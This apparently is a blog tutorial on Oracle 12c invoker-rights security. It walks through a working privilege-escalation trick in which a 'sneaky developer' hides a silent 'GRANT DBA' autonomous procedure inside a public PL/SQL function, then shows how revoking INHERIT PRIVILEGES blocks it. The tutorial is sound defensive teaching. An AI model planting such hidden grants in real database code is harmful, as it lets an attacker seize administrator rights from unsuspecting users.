Friday, April 10, 2020

Control Invoker Rights Privileges for PL/SQL Code in Oracle Database 12c Release 1

Oracle Database Tutorial and Material, Oracle Database Learning, Oracle Database Cert Exam, Oracle DB Prep

Invoker rights procedures and functions can present a security risk by allowing privilege escalation if the contents of the procedure and functions are not checked for malicious code.

◉ The Problem


The following represents a scenario where a sneaky developer takes advantage of invoker rights to escalate their privileges.

Create the following users.

CONN sys@pdb1 AS SYSDBA

DROP USER sneaky_developer CASCADE;
DROP USER normal_user CASCADE;
DROP USER dba_user CASCADE;

CREATE USER sneaky_developer IDENTIFIED BY sneaky_developer;
GRANT CREATE SESSION, CREATE PROCEDURE TO sneaky_developer;

CREATE USER normal_user IDENTIFIED BY normal_user;
GRANT CREATE SESSION TO normal_user;

CREATE USER dba_user IDENTIFIED BY dba_user;
GRANT CREATE SESSION, DBA TO dba_user;

The developer creates a harmless piece of code and allows all users to execute it.

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  RETURN (p1+p2);
END;
/

GRANT EXECUTE ON add_number TO public;

Both the normal user and the DBA can run this code and get the expected result.

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

CONN dba_user/dba_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

Check the users that currently have the DBA role granted to them.

CONN sys@pdb1 AS SYSDBA

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

Once the code is in place and people are used to using it, the developer alters the code to include a grant of the DBA role. Since the original function is called from SQL, the grant needs to run as an autonomous transaction.

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE PROCEDURE make_me_a_dba AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO sneaky_developer';
EXCEPTION
  WHEN OTHERS THEN
    NULL;
END;
/

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  make_me_a_dba;
  RETURN (p1+p2);
END;
/

The presence of the exception handler means regular users can run the code without noticing a difference, even though the grant would fail.

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

When the code is run by a DBA user, who has privilege to grant the DBA role, the grant is successful.

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
-----------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>


SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>


SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
-------------------------------------------------------------------------------------
DBA_USER
SNEAKY_DEVELOPER
SYS
SYSTEM

4 rows selected.

SQL>

So the user has acquired the DBA role.

Let's clean that up, so as not to confuse later examples.

REVOKE DBA FROM sneaky_developer;

◉ INHERIT [ANY] PRIVILEGES


In an attempt to plug this security hole, Oracle Database 12c includes INHERIT [ANY] PRIVILEGES privileges.

For the sake of backwards compatibility, the following grant is performed for all new or upgraded users.

INHERIT PRIVILEGES ON USER username TO PUBLIC;

If you want to be selective about who can inherit privileges from a specific user, you can revoke it. So to protect our DBA user, we might do the following.

CONN sys@pdb1 AS SYSDBA

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM PUBLIC;

If we repeat the previous test, we see a different result.

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
--------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

SELECT sneaky_developer.add_number(1,2) FROM dual;
SELECT sneaky_developer.add_number(1,2) FROM dual
       *
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

SQL>

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
-----------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

Not only has the privilege escalation attempt not succeeded, but the resulting error was not trapped by the exception handler, so we get a clear indication that something potentially dangerous could have happened if we had not taken measure to prevent it.

ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

If there are trusted users that do need to inherit privileges from the DBA user, specific grants can be performed.

GRANT INHERIT PRIVILEGES ON USER dba_user TO trusted_user;

Following this grant, any invoker rights code owned by TRUSTED_USER can inherit privileges from DBA_USER when the code is called by DBA_USER. You can revoke this specific priviledge as follows.

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM trusted_user;

The SYS user has INHERIT ANY PRIVILEGES, so even if you revoke the public grant, all invoker rights code called by SYS will still function correctly.

Related Posts

0 comments:

Post a Comment